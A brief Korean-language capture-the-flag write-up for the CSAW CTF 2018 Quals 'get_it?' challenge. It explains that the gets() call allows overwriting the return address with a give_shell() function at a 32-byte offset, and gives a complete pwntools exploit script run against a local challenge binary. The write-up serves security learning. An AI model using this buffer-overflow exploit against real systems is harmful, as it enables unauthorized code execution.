CSAW CTF 2018 Quals - get_it?

간단한다.

gets()함수로 ret를 give_shell()함수로 덮어주면 된다.

 

 

 

 

SFP 포함 32byte이다.

 

 

 

 

from pwn import *

p = process('/home/ii4gsp/get_it')
e = ELF('/home/ii4gsp/get_it')

give_shell = e.symbols['give_shell']

payload = ''
payload += '\x90' * 32
payload += p64(give_shell)

p.sendline(payload)

p.interactive()